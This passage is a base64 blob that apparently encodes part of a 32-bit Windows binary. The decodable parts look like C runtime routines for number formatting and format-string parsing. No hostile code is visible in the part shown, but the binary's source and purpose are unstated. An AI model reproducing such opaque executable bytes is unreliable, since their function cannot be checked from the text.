+P//U1CNhTD+//+JnSz+//9ozAEAAFDopjcAAIrD6S8CAACLnSz+//+wAekrAgAAO9kPh44AAACLvTD+//+7zAEAAImFLP7//8HgAlCNhcD4//9QjYUw/v//U1DoYTcAAIPEEDPAhf91GlCJhbz4//+JhSz+//+NhcD4//9QU+nAAQAAi50s/v//QImd6Pb//zv4D4TIAQAAhdsPhMABAAAzyTP2i8f3pLUw/v//A8GJhLUw/v//g9IARovKO/N15OkK////O8ONtcD4//8PksGEyXUgjbUw/v//jZXA+P//iZXc9v//hMl0EovQiZXo9v//6xCNlTD+///r5IvTiZ3o9v//hMl1AovYM8kz/4mNXPz//4XSD4QPAQAAjYVg/P//K/CJtbT2//+NBL6LhAVg/P//iYWk9v//hcB1HTv5D4XcAAAAIYS9YPz//41PAYmNXPz//+nHAAAAM9IzwImV2Pb//4v3iYW89v//hdsPhJgAAACD/nN0WzvxdReDpLVg/P//AEADx4mFXPz//4uFvPb//4uN3Pb//4sEgfelpPb//wOF2Pb//4PSAAGEtWD8//+Lhbz2//+LjVz8//+D0gBAiZXY9v//RomFvPb//zvDdaCF0nQ0g/5zD4TsAAAAO/F1EYOktWD8//8AjUYBiYVc/P//i8Iz0gGEtWD8//+LjVz8//8T0kbryIP+cw+EuAAAAIuV6Pb//4u1tPb//0c7+g+F//7//4vBiY0s/v//weACUI2FYPz//1BozAEAAI2FMP7//1DocjUAALABi50s/v//g8QQiZ3o9v//hMB0MYuFyPb//yuF0Pb//4mFyPb//w+Fh/z//4uNuPb//4XJD4S3AAAAizyNjNELEIX/dUyDpbz4//8AjYXA+P//g6Us/v//AGoAUI2FMP7//2jMAQAAUOgENQAAi4Us/v//g8QQiYXo9v//63kz242F8Pb//4md7Pb//+kh/f//i4Xo9v//g/8BdFuFwHRXM8mL2DP2i8f3pLUw/v//A8GJhLUw/v//g9IARovKO/N15IuFLP7//4XJdKqD+HMPg3D///+JjIUw/v//i4Us/v//QImF6Pb//4mFLP7//+sGi4Xo9v//i5Xk9v//hdIPhIIAAAAzyYXAdB6LwjPSAYSNMP7//4uFLP7//xPSiYXo9v//QTvIdeKF0nRag/hzcxyJlIUw/v//i50s/v//Q4md6Pb//4mdLP7//+s/g6W8+P//AI2FwPj//4OlLP7//wBqAFCNhTD+//9ozAEAAFDo+zMAAIudLP7//4PEEImd6Pb//+sGi53o9v//i4XM9v//hcAPhBMEAABqCjPSWffxiYXY9v//i8qJjbj2//+FwA+ErQMAAIP4JnYDaiZYD7YMhfbQCxAPtjSF99ALEIv5iYW89v//wecCV40EMYmFvPj//42FwPj//2oAUOgUZP//i8bB4AJQi4W89v//D7cEhfTQCxCNBIXwxwsQUI2FwPj//wPHUOjqaf//i4W8+P//M8lBg8QYO8EPh5QAAACLvcD4//+F/3VDM8BQiYXs9v//iYUs/v//jYXw9v//UGjMAQAAjYUw/v//UOgPMwAAg8QQi50s/v//sAGJnej2//+Lnej2///pwQIAADv5dQSKwevthdt0+DPJM/aLx/ektTD+//8DwYmEtTD+//+D0gBGi8o783Xk6acAAACJjIUw/v//i50s/v//Q4mdLP7//+umO9kPh9cAAACLvTD+//+7zAEAAImFLP7//8HgAlCNhcD4//9QjYUw/v//U1DoezIAAIPEEDPAhf91GlCJhbz4//+JhSz+//+NhcD4//9QU+k9////i50s/v//QImd6Pb//zv4D4RF////hdsPhD3///8zyTP2i8f3pLUw/v//A8GJhLUw/v//g9IARovKO/N15IXJD4QH////i4Us/v//g/hzD4JC////M9uNhcD4//9TUI2FMP7//4mdvPj//2jMAQAAUImdLP7//+jdMQAAisODxBCLnSz+///pyf7//zvDjZXA+P//D5LBhMl1Bo2VMP7//4mV5Pb//42VMP7//4TJdQaNlcD4//+Jlcj2//+EyXQKi/iJvdz2///rCIv7iZ3c9v//hMl1AovYM9Iz9omVXPz//4X/D4QHAQAAi4Xk9v//jY1g/P//K8GJheT2//+NBLCLhAVg/P//iYXM9v//hcB1HTvyD4XIAAAAIYS1YPz//41WAYmVXPz//+mzAAAAM8Az/4mF0Pb//4vOhdsPhJAAAACD+XN0UzvKdReDpI1g/P//AEADxomFXPz//4uF0Pb//4uVyPb//4sEgvelzPb//wPHg9IAAYSNYPz//4uF0Pb//4PSAEBBiYXQ9v//i/qLlVz8//87w3Wohf90NIP5cw+E/AAAADvKdRGDpI1g/P//AI1BAYmFXPz//4vHM/8BhI1g/P//i5Vc/P//E/9B68iD+XMPhMgAAACLvdz2//+LheT2//9GO/cPhQ3///+LwomVLP7//8HgAlCNhWD8//9QjYUw/v//aMwBAABQ6EMwAACDxBCwAYudLP7//4md6Pb//4TAD4SnAAAAi4XY9v//K4W89v//iYXY9v//D4VZ/P//i4249v//hcl0RYs8jYzRCxCF/w+FiAAAADPAUImFvPj//4mFLP7//42FwPj//1CNhTD+//9ozAEAAFDo0i8AAIPEEIudLP7//4md6Pb//4XbD4XsAAAAM8npBQEAADPAUImF7Pb//4mFLP7//42F8Pb//1CNhTD+//9ozAEAAFDojS8AAIPEEDLA6UX///+Dpbz4//8Ag6Us/v//AGoA62SD/wF0qYXbdK0zyTP2i8f3pLUw/v//A8GJhLUw/v//g9IARovKO/N15IXJD4Rx////i4Us/v//g/hzcxmJjIUw/v//i50s/v//Q4mdLP7//+lT////M8CJhbz4//+JhSz+//9QjYXA+P//UI2FMP7//2jMAQAAUOj1LgAAi4Ww9v//g8QQ/7Wo9v//D7aACAMAAFDonu7//1lZagNY6Y4RAACLhJ0s/v//g6XM9v//AA+9wHQDQOsCM8CNS//B4QUDyIuF4Pb//4mNvPb//zuNrPb//w+DKREAAIXAD4QhEQAAi73U9v//M9sz9omd5Pb//zPJiZ2M+v//ibXc9v//O73E9v//D4Q9BgAAg/kJD4UEAQAAhdsPhIYAAAAzyb4Aypo7M/+LhL2Q+v//9+YDwYmEvZD6//+D0gBHi8o7+3Xki7Xc9v//hcl0S4uFjPr//4P4c3MWiYyFkPr//4udjPr//0OJnYz6///rMDPAUImFvPj//4mFjPr//42FwPj//1CNhZD6//9ozAEAAFDo3S0AAIPEEIudjPr//4u91Pb//4X2dG4zyYXbdBiLxjP2AYSNkPr//4udjPr//xP2QTvLdeiF9nRMg/tzcxaJtJ2Q+v//i52M+v//Q4mdjPr//+sxg6W8+P//AI2FwPj//4OljPr//wBqAFCNhZD6//9ozAEAAFDoZS0AAIudjPr//4PEEDP2M8kPtgdr9goD8EFHibXc9v//ib3U9v//O73E9v//D4XR/v//iZ3k9v//hckPhPoEAACLwTPSagpZ9/GJhcj2//+LyomNtPb//4XAD4RtAwAAg/gmdgNqJlgPtgyF9tALEA+2NIX30AsQi/mJhdj2///B5wJXjQQxiYW8+P//jYXA+P//agBQ6GRd//+LxsHgAlCLhdj2//8PtwSF9NALEI0EhfDHCxBQjYXA+P//A8dQ6Dpj//+Lhbz4//8zyUGDxBg7wQ+HswAAAIu9wPj//4X/dRozwImF7Pb//4mFjPr//1CNhfD2///phwIAADv5dQeKwemfAgAAhdt09TPJM/aLx/ektZD6//8DwYmEtZD6//+D0gBGi8o783Xkhcl0T4uFjPr//4P4c3MWiYyFkPr//4udjPr//0OJnYz6///rNDPbjYXA+P//U1CNhZD6//+Jnbz4//9ozAEAAFCJnYz6///o8SsAAIrD6RkCAACLnYz6//+wAekVAgAAO9kPh44AAACLvZD6//+7zAEAAImFjPr//8HgAlCNhcD4//9QjYWQ+v//U1DorCsAAIPEEDPAhf91GlCJhbz4//+JhYz6//+NhcD4//9QU+mqAQAAi52M+v//QImd5Pb//zv4D4SyAQAAhdsPhKoBAAAzyTP2i8f3pLWQ+v//A8GJhLWQ+v//g9IARovKO/N15OkK////O8ONvcD4//8PksGEyXV5jb2Q+v//jZXA+P//iZXE9v//iYXU9v//hMl1CImd1Pb//4vYM9Iz9omVXPz//zmV1Pb//w+EBwEAAI2FYPz//yv4ib249v//jQS3i4QFYPz//4mFzPb//4XAdSU78g+F0AAAACGEtWD8//+NVgGJlVz8///puwAAAI2VkPr//+uLM8Az/4mF0Pb//4vOhdsPhJAAAACD+XN0UzvKdReDpI1g/P//AEADxomFXPz//4uF0Pb//4uVxPb//4sEgvelzPb//wPHg9IAAYSNYPz//4uF0Pb//4PSAEBBiYXQ9v//i/qLlVz8//87w3Wohf90NIP5cw+EEwEAADvKdRGDpI1g/P//AI1BAYmFXPz//4vHM/8BhI1g/P//i5Vc/P//E/9B68iD+XMPhN8AAACLvbj2//9GO7XU9v//D4UH////i8KJlYz6///B4AJQjYVg/P//UGjMAQAAjYWQ+v//UOjTKQAAsAGDxBCLnYz6//+JneT2//+EwA+EwAAAAIuFyPb//yuF2Pb//4mFyPb//w+Fmfz//4uNtPb//4XJD4TiAAAAizyNjNELEIX/D4SdAAAAg/8BD4TKAAAAhdsPhMIAAAAzyTP2i8f3pLWQ+v//A8GJhLWQ+v//g9IARovKO/N15IXJD4SOAAAAi4WM+v//g/hzc1mJjIWQ+v//i52M+v//Q4mdjPr//+tzM8BQiYXs9v//iYWM+v//jYXw9v//UI2FkPr//2jMAQAAUOgEKQAAg8QQMsDpLP///4OlvPj//wCDpYz6//8AagDrDzPAUImFjPr//4mFvPj//42FwPj//1CNhZD6//9ozAEAAFDowSgAAIPEEIudjPr//4md5Pb//4uV3Pb//4XSdHozyYXbdB6LwjPSAYSNkPr//4udjPr//xPSiZ3k9v//QTvLdeKF0nRSg/tzcxaJlJ2Q+v//i52M+v//Q4mdjPr//+sxg6W8+P//AI2FwPj//4OljPr//wBqAFCNhZD6//9ozAEAAFDoPSgAAIudjPr//4PEEImd5Pb//4uF4Pb//4uNsPb//4M5AH0CKwFqCjPSg6Vk/P//AF739jPJQYmVtPb//4mNYPz//4mN4Pb//4mNXPz//4mFyPb//4XAD4TaAwAAg/gmdgNqJlgPtgyF9tALEA+2NIX30AsQi/mJhdD2///B5wJXjQQxiYW8+P//jYXA+P//agBQ6D9Y//+LxsHgAlCLhdD2//8PtwSF9NALEI0EhfDHCxBQjYXA+P//A8dQ6BVe//+Lhbz4//8z0kKDxBg7wg+HoQAAAIO9wPj//wB1QzPAUImF7Pb//4mFXPz//42F8Pb//1BozAEAAI2FYPz//1DoOycAAIPEEIuNXPz//7ABiY3g9v//i43g9v//6e8CAAA5lcD4//91BIrC6+mLjeD2//+FyXTyM/Yz/4uFwPj///ekvWD8//8DxomEvWD8//+D0gBHi/I7+XXg6b8AAACJtIVg/P//i41c/P//QYmNXPz//+uYi43g9v//O8oPh+kAAACLtWD8//+/zAEAAImFXPz//8HgAlCNhcD4//+Jtcz2//9QjYVg/P//V1DojSYAAIPEEDPAhfZ1GlCJhbz4//+JhVz8//+NhcD4//9QV+kj////i41c/P//QImN4Pb//zvwD4Qr////hckPhCP///+Lncz2//8z9jP/i8P3pL1g/P//A8aJhL1g/P//g9IAR4vyO/l15Iud5Pb//4X2D4Th/v//i4Vc/P//g/hzD4Iq////M8BQiYW8+P//iYVc/P//jYXA+P//UI2FYPz//2jMAQAAUOjjJQAAi41c/P//g8QQMsDpo/7//zvBjbXA+P//D5LChNJ1eY21YPz//429wPj//4m9xPb//4mF2Pb//4TSdQiJjdj2//+LyDPSM/+Jlez2//85ldj2//8PhCUBAACNhfD2//8r8Im1uPb//40EvouEBfD2//+Jhcz2//+FwHUlO/oPhe4AAAAhhL3w9v//jVcBiZXs9v//6dkAAACNvWD8///ri4Ol1Pb//wAzwImF3Pb//4v3hckPhKkAAACD/nN0WzvydReDpLXw9v//AEADx4mF7Pb//4uF3Pb//4uVxPb//4sEgvelzPb//wOF1Pb//4PSAAGEtfD2//+Lhdz2//+D0gBARomV1Pb//4uV7Pb//4mF3Pb//zvBdaCDvdT2//8AdECD/nMPhAABAAA78nURg6S18Pb//wCNRgGJhez2//+LhdT2//8z0gGEtfD2//8T0kaJldT2//+F0ouV7Pb//3XAg/5zD4TAAAAAi7W49v//Rzu92Pb//w+F6f7//4vCiZVc/P//weACUI2F8Pb//1CNhWD8//9ozAEAAFDoQSQAAIPEELABi41c/P//iY3g9v//hMAPhKEAAACLhcj2//8rhdD2//+Jhcj2//8PhSz8//+LlbT2//+F0g+EPQEAAIsElYzRCxCJhcz2//+FwHV8UImF1PT//4mFXPz//42F2PT//1CNhWD8//9ozAEAAFDozCMAAIPEEIuNXPz//4mN4Pb//+n5AAAAM8BQiYXU9P//iYVc/P//jYXY9P//UI2FYPz//2jMAQAAUOiRIwAAg8QQMsDpS////4Ol1PT//wCDpVz8//8AagDrc4P4AQ+EpwAAAIXJD4SfAAAAM/8z9vektWD8//8Dx4mEtWD8//+Lhcz2//+D0gBGi/o78XXghf8PhG////+LhVz8//+D+HNzHIm8hWD8//+LjVz8//9BiY3g9v//iY1c/P//61IzwImF1PT//4mFXPz//1CNhdj0//9QjYVg/P//aMwBAABQ6OoiAACLhbD2//+DxBD/taj2//8PtoAIAwAAUOin5///WVlqAunw8///i43g9v//hdt1BDP26yCLhJ2M+v//g6XM9v//AA+9wHQDQOsCM8CNc//B5gUD8IXJdQQz0usgi4SNXPz//4OlzPb//wAPvcB0A0DrAjPAjVH/weIFA9CLwivGO/Jq/xv2I/CJtdT2//9fD4atAQAAi4XU9v//M9KD4B/B7gVqIFkryImFyPb//zPAibXc9v//QImNuPb//+h/7QAAi4ydjPr//0gPvcmJhbT2///30ImFzPb//3QDQesCM8lqIFgrwY0UHjmFyPb//4mV0Pb//w+XwIP6c4iFw/b//w+XwYP6c3UIhMB0BLAB6wIywITJD4XqAAAAhMAPheIAAACD+nJyCWpyWomV0Pb//4vKiY3Y9v//O9cPhI8AAACLhdz2//+L8ivwjZWQ+v//jRSyO8hybDvzcwSLAusCM8CJhcT2//+NRv87w3MFi0L86wIzwCOFzPb//4PqBIuNuPb//4udxPb//yOdtPb//9Poi43I9v//0+OLjdj2//8Lw4mEjZD6//9JTomN2Pb//zvPdA6LnYz6//+Lhdz2///rkIuV0Pb//4u13Pb//4X2dA8zwI29kPr//4vO86uDz/+AvcP2//8AjVoBi43g9v//i7XU9v//dQKL2omdjPr//+s8M8BQiYXU9P//iYWM+v//jYXY9P//UI2FkPr//2jMAQAAUOi+IAAAi52M+v//g8QQi43g9v//i7XU9v//i5Ws9v//i4W89v//K9CJlaz2//+FwHQri8I78HYh/7Wo9v//i4Ww9v//agEPtoAIAwAAUP+1vPb//+kaAwAAi9Ar1jvZdzlyMI1L/zvPdDCLhI2Q+v//O4SNYPz//3UFSTvPdes7z3QXi4SNkPr//zuEjWD8//93B0aJtdT2//+L8jPAg+Ifwe4FaiBZK8qJlcj2//9AibXc9v//M9KJjbj2///oVusAAIuMnYz6//9ID73JiYW09v//99CJhcz2//90BY1BAesCM8BqIFkryI0UHjmNyPb//4mV0Pb//w+XwIP6c4iFw/b//w+XwYP6c3UIhMB0BLAB6wIywITJD4XkAAAAhMAPhdwAAACD+nJyCWpyWomV0Pb//4vKiY3Y9v//O9cPhI8AAACLhdz2//+L8ivwjZWQ+v//jRSyO8hybDvzcwSLAusCM8CJhcT2//+NRv87w3MFi0L86wIzwCOFzPb//4PqBIuNuPb//4udxPb//yOdtPb//9Poi43I9v//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